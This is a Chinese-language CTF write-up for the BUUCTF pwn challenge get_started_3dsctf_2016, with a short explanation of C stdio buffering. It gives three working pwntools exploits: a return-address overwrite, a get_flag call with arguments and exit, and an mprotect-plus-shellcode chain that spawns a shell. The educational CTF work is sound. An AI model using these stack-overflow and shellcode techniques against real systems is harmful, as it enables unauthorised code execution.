#
栈溢出,查看漏洞函数。
我们可以直接将程序控制流转移到打开文件来绕过if语句
exp
1 2 3 4 5 6 7 8 9
| from pwn import *
sh = process('./get_started_3dsctf_2016')
addr=0x080489b8 offset = 56 payload = b'A'*offset+p32(addr) sh.sendline(payload) print(sh.recv())
|
但是远程打不通,百度得知linux缓冲有三种,Linux平台对设备文件默认开启行缓冲,对磁盘文件默认开启全缓冲。
1)全缓冲。输入或输出缓冲区被填满,会进行实际I/O操作。其他情况,如强制刷新、进程结束也会进行实际I/O操作。
对于读操作来说,当读入内容的字节数等于缓冲区大小或者文件已经到达结尾,或者强制刷新,会进行实际的I/O操作,将外存文件内容读入缓冲区;对于写操作来说,当缓冲区被填满或者强制刷新,会进行实际的I/O操作,缓冲区内容写到外存文件中。磁盘文件操作通常是全缓冲的。
(2)行缓冲。输入或输出缓冲区遇到换行符会进行实际I/O操作。其他与全缓冲相同。
(3)无缓冲。没有缓冲区,数据会立即读入内存或者输出到外存文件和设备上。标准错误输出stderr是无缓冲的,这样保证错误信息能够及时反馈给用户,供用户排除错误。
C的全缓冲、行缓冲和无缓冲-腾讯云开发者社区-腾讯云 (tencent.com)
由于putchar
不输出换行符,无法刷新缓冲流,因此我们要正确退出程序或者输出换行符使得flag得以输出。
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
io=remote('node5.buuoj.cn',29430)
context.log_level = 'debug'
get_flag=0x80489A0 arg_1=0x308CD64F arg_2=0x195719D1 exit=0x0804E6A0
payload=b'a'*0x38+p32(get_flag)+p32(exit)+p32(arg_1)+p32(arg_2)
io.sendline(payload)
io.recv()
|
exp3
这题由于是静态链接,可以通过mprotect
函数修改内存的读写权限
由于是32位程序,通过栈传递参数,我们选取三个pop指令来pop掉参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import* sh=process("./get_started_3dsctf_2016") context(log_level='debug',arch='i386',os='linux') elf=ELF("get_started_3dsctf_2016") mprotect=elf.symbols['mprotect'] buf = 0x80ea000 pop3_ret=0x0804f460 read_addr=elf.symbols['read'] gets_addr=elf.symbols['gets']
payload=56*b'a'+p32(mprotect)+p32(pop3_ret)+p32(buf)+p32(0x1000)+p32(0x7)
payload+=p32(gets_addr)+p32(buf)+p32(buf) gdb.attach(sh) sh.sendline(payload)
shellcode = asm(shellcraft.sh()) sh.sendline(shellcode)
sh.interactive()
|